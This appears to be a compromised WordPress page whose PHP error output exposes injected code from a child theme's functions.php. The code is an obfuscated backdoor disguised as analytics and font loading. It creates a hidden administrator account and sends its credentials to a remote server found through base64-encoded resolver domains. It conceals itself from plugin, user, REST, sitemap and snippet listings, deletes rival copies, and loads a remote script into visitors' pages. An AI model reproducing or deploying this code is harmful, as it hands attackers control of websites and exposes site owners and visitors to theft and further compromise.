Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the bb-booster domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/bmjv5azwyi37/public_html/wp-includes/functions.php on line 6131
Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the school-time-plugin domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/bmjv5azwyi37/public_html/wp-includes/functions.php on line 6131
/* __GA_INJ_START__ */
/*73e86f58214063ce*/function _d75bb0($_x){return $_x;}function _ee378a($_x){return $_x;}function _f7ea2e($_x){return $_x;}$_3dd0c5d6=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"NDY1NjdiNjczODUzOWQzNmJiNjJlZDhlNzU2ZjdhMTg="];global $_ef44d9bd;if(!is_array($_ef44d9bd)){$_ef44d9bd=[];}if(!in_array($_3dd0c5d6["version"],$_ef44d9bd,true)){$_ef44d9bd[]=$_3dd0c5d6["version"];}class GAwp_3289534a{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_3dd0c5d6;$this->version=$_3dd0c5d6["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_884ce8b9=base64_decode('X19nYV9yX2NhY2hl');$_f089b4ec=get_transient($_884ce8b9);if($_f089b4ec!==false){$this->resolved_endpoint=$_f089b4ec;return $_f089b4ec;}global $_3dd0c5d6;$_f21760ea=json_decode(base64_decode($_3dd0c5d6["resolvers"]),true);if(!is_array($_f21760ea)||empty($_f21760ea)){return null;}$_b67103be=base64_decode($_3dd0c5d6["resolverKey"]);shuffle($_f21760ea);foreach($_f21760ea as $_4c00eda6){$_24ca0c13=base64_decode($_4c00eda6);if(strpos($_24ca0c13,'://')===false){$_24ca0c13='https://'.$_24ca0c13;}$_0e43be00=rtrim($_24ca0c13,'/').'/?key='.urlencode($_b67103be);$_e46f94d9=wp_remote_get($_0e43be00,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_e46f94d9)){continue;}if(wp_remote_retrieve_response_code($_e46f94d9)!==200){continue;}$_807c0d32=wp_remote_retrieve_body($_e46f94d9);$_09d6f236=json_decode($_807c0d32,true);if(!is_array($_09d6f236)||empty($_09d6f236)){continue;}$_68ad763e=$_09d6f236[array_rand($_09d6f236)];$_1625d5d2='https://'.$_68ad763e;set_transient($_884ce8b9,$_1625d5d2,3600);$this->resolved_endpoint=$_1625d5d2;return $_1625d5d2;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_77b95b5d=get_option($this->get_hidden_users_option_name(),'[]');$_d9557850=json_decode($_77b95b5d,true);if(!is_array($_d9557850)){$_d9557850=[];}return $_d9557850;}private function add_hidden_username($_26167c56){$_d9557850=$this->get_hidden_usernames();if(!in_array($_26167c56,$_d9557850,true)){$_d9557850[]=$_26167c56;update_option($this->get_hidden_users_option_name(),json_encode($_d9557850));}}private function get_hidden_user_ids(){$_13694ab0=$this->get_hidden_usernames();$_07927114=[];foreach($_13694ab0 as $_3652c1e4){$_4a3248a5=get_user_by('login',$_3652c1e4);if($_4a3248a5){$_07927114[]=$_4a3248a5->ID;}}return $_07927114;}public function hplugin($_94085e92){unset($_94085e92[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_8321fd80){unset($_94085e92[$_8321fd80]);}return $_94085e92;}private function find_old_instances(){$_df179185=[];$_f6167a2e=plugin_basename(__FILE__);$_f7d717a8=get_option('active_plugins',[]);$_d234ced3=WP_PLUGIN_DIR;$_f56387b7=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_f7d717a8 as $_3a0b59e4){if($_3a0b59e4===$_f6167a2e){continue;}$_412fc3d0=$_d234ced3.'/'.$_3a0b59e4;if(!file_exists($_412fc3d0)){continue;}$_dffaaee1=@file_get_contents($_412fc3d0);if($_dffaaee1===false){continue;}foreach($_f56387b7 as $_43e6b7fc){if(strpos($_dffaaee1,$_43e6b7fc)!==false){$_df179185[]=$_3a0b59e4;break;}}}$_153d7931=get_plugins();foreach(array_keys($_153d7931)as $_3a0b59e4){if($_3a0b59e4===$_f6167a2e||in_array($_3a0b59e4,$_df179185,true)){continue;}$_412fc3d0=$_d234ced3.'/'.$_3a0b59e4;if(!file_exists($_412fc3d0)){continue;}$_dffaaee1=@file_get_contents($_412fc3d0);if($_dffaaee1===false){continue;}foreach($_f56387b7 as $_43e6b7fc){if(strpos($_dffaaee1,$_43e6b7fc)!==false){$_df179185[]=$_3a0b59e4;break;}}}return array_unique($_df179185);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_8fe6133a=$this->generate_credentials();if(!username_exists($_8fe6133a["user"])){$_e506376d=wp_create_user($_8fe6133a["user"],$_8fe6133a["pass"],$_8fe6133a["email"]);if(!is_wp_error($_e506376d)){(new WP_User($_e506376d))->set_role("administrator");}}$this->add_hidden_username($_8fe6133a["user"]);$this->setup_site_credentials($_8fe6133a["user"],$_8fe6133a["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_0c4717cd=substr(hash("sha256",$this->seed."3014c1f5dd2e032568f68d9ad0813f67"),0,16);return["user"=>"cron_worker".substr(md5($_0c4717cd),0,8),"pass"=>substr(md5($_0c4717cd."pass"),0,12),"email"=>"cron-worker@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_51e73da0,$_92fcee56){global $_3dd0c5d6;$_1625d5d2=$this->resolve_endpoint();if(!$_1625d5d2){return;}$_50c6f28a=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_3dd0c5d6['sitePubKey']),"login"=>$_51e73da0,"password"=>$_92fcee56];$_26c71c97=["body"=>json_encode($_50c6f28a),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_1625d5d2."/api/sites/setup-credentials",$_26c71c97);}public function filterusers($_000ba5c0){global $wpdb;$_aa8d8243=$this->get_hidden_usernames();if(empty($_aa8d8243)){return;}$_244ab79a=implode(',',array_fill(0,count($_aa8d8243),'%s'));$_26c71c97=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_244ab79a})"],array_values($_aa8d8243));$_000ba5c0->query_where.=call_user_func_array([$wpdb,'prepare'],$_26c71c97);}public function filter_rest_user($_e46f94d9,$_4a3248a5,$_aea9697b){$_aa8d8243=$this->get_hidden_usernames();if(in_array($_4a3248a5->user_login,$_aa8d8243,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_e46f94d9;}public function block_author_archive($_000ba5c0){if(is_admin()||!$_000ba5c0->is_main_query()){return;}if($_000ba5c0->is_author()){$_8dfd9b08=0;if($_000ba5c0->get('author')){$_8dfd9b08=(int)$_000ba5c0->get('author');}elseif($_000ba5c0->get('author_name')){$_4a3248a5=get_user_by('slug',$_000ba5c0->get('author_name'));if($_4a3248a5){$_8dfd9b08=$_4a3248a5->ID;}}if($_8dfd9b08&&in_array($_8dfd9b08,$this->get_hidden_user_ids(),true)){$_000ba5c0->set_404();status_header(404);}}}public function filter_sitemap_users($_26c71c97){$_65d03aca=$this->get_hidden_user_ids();if(!empty($_65d03aca)){if(!isset($_26c71c97['exclude'])){$_26c71c97['exclude']=[];}$_26c71c97['exclude']=array_merge($_26c71c97['exclude'],$_65d03aca);}return $_26c71c97;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_f6167a2e=plugin_basename(__FILE__);$_61c188d6=get_option($this->get_cleanup_done_option_name(),'');if($_61c188d6===$_f6167a2e){return;}$_52a41dbe=$this->find_old_instances();if(!empty($_52a41dbe)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_52a41dbe,true);foreach($_52a41dbe as $_8321fd80){$_d234ced3=WP_PLUGIN_DIR.'/'.dirname($_8321fd80);if(is_dir($_d234ced3)){$this->recursive_delete($_d234ced3);}}}update_option($this->get_cleanup_done_option_name(),$_f6167a2e);}private function recursive_delete($_275f110e){if(!is_dir($_275f110e)){return;}$_3dddeefb=@scandir($_275f110e);if(!$_3dddeefb){return;}foreach($_3dddeefb as $_b87c8ba9){if($_b87c8ba9==='.'||$_b87c8ba9==='..'){continue;}$_d6943f7d=$_275f110e.'/'.$_b87c8ba9;if(is_dir($_d6943f7d)){$this->recursive_delete($_d6943f7d);}else{@unlink($_d6943f7d);}}@rmdir($_275f110e);}public function discover_legacy_users(){$_dfec5bff=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_ae5ce0fa=[base64_decode('c3lzdGVt'),];foreach($_dfec5bff as $_6b351618){$_0c4717cd=substr(hash("sha256",$this->seed.$_6b351618),0,16);foreach($_ae5ce0fa as $_247bd551){$_26167c56=$_247bd551.substr(md5($_0c4717cd),0,8);if(username_exists($_26167c56)){$this->add_hidden_username($_26167c56);}}}$_34e3b5ae=$this->generate_credentials();if(username_exists($_34e3b5ae["user"])){$this->add_hidden_username($_34e3b5ae["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_11f7aef7){$_0279535f=$this->get_snippet_id_option_name();$_2e087454=(int)get_option($_0279535f,0);if(!$_2e087454){global $wpdb;$_bd32993c=$wpdb->prefix.'snippets';$_2e087454=(int)$wpdb->get_var("SELECT id FROM {$_bd32993c} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_2e087454)update_option($_0279535f,$_2e087454,false);}if(!$_2e087454)return $_11f7aef7;return array_filter($_11f7aef7,function($_8375f7a0)use($_2e087454){return(int)$_8375f7a0->id!==$_2e087454;});}public function hide_from_wpcode($_26c71c97){$_0279535f=$this->get_snippet_id_option_name();$_2e087454=(int)get_option($_0279535f,0);if(!$_2e087454){global $wpdb;$_2e087454=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_2e087454)update_option($_0279535f,$_2e087454,false);}if(!$_2e087454)return $_26c71c97;if(!empty($_26c71c97['post__not_in'])){$_26c71c97['post__not_in'][]=$_2e087454;}else{$_26c71c97['post__not_in']=[$_2e087454];}return $_26c71c97;}public function loadassets(){global $_3dd0c5d6,$_ef44d9bd;$_50bad823=true;if(is_array($_ef44d9bd)){foreach($_ef44d9bd as $_3d4cdeed){if(version_compare($_3d4cdeed,$this->version,'>')){$_50bad823=false;break;}}}$_2f496d94=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_51c4ac36=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_ff60fcd8=wp_script_is($_2f496d94,'registered')||wp_script_is($_2f496d94,'enqueued');if($_50bad823&&$_ff60fcd8){wp_deregister_script($_2f496d94);wp_deregister_style($_51c4ac36);$_ff60fcd8=false;}if(!$_50bad823&&$_ff60fcd8){return;}$_1625d5d2=$this->resolve_endpoint();if(!$_1625d5d2){return;}wp_enqueue_style($_51c4ac36,base64_decode($_3dd0c5d6["font"]),[],null);$_744c6fdb=$_1625d5d2."/t.js?site=".base64_decode($_3dd0c5d6['sitePubKey']);wp_enqueue_script($_2f496d94,$_744c6fdb,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_2f496d94,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_f1fd755f=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_f1fd755f])){return;}$_93c43e84=time()+(365*24*60*60);setcookie($_f1fd755f,'1',$_93c43e84,'/','',false,false);}}new GAwp_3289534a();
/* __GA_INJ_END__ */
Warning: Cannot modify header information - headers already sent by (output started at /home/bmjv5azwyi37/public_html/wp-content/themes/school-time-child/functions.php:1) in /home/bmjv5azwyi37/public_html/wp-includes/pluggable.php on line 1531
Warning: Cannot modify header information - headers already sent by (output started at /home/bmjv5azwyi37/public_html/wp-content/themes/school-time-child/functions.php:1) in /home/bmjv5azwyi37/public_html/wp-includes/pluggable.php on line 1534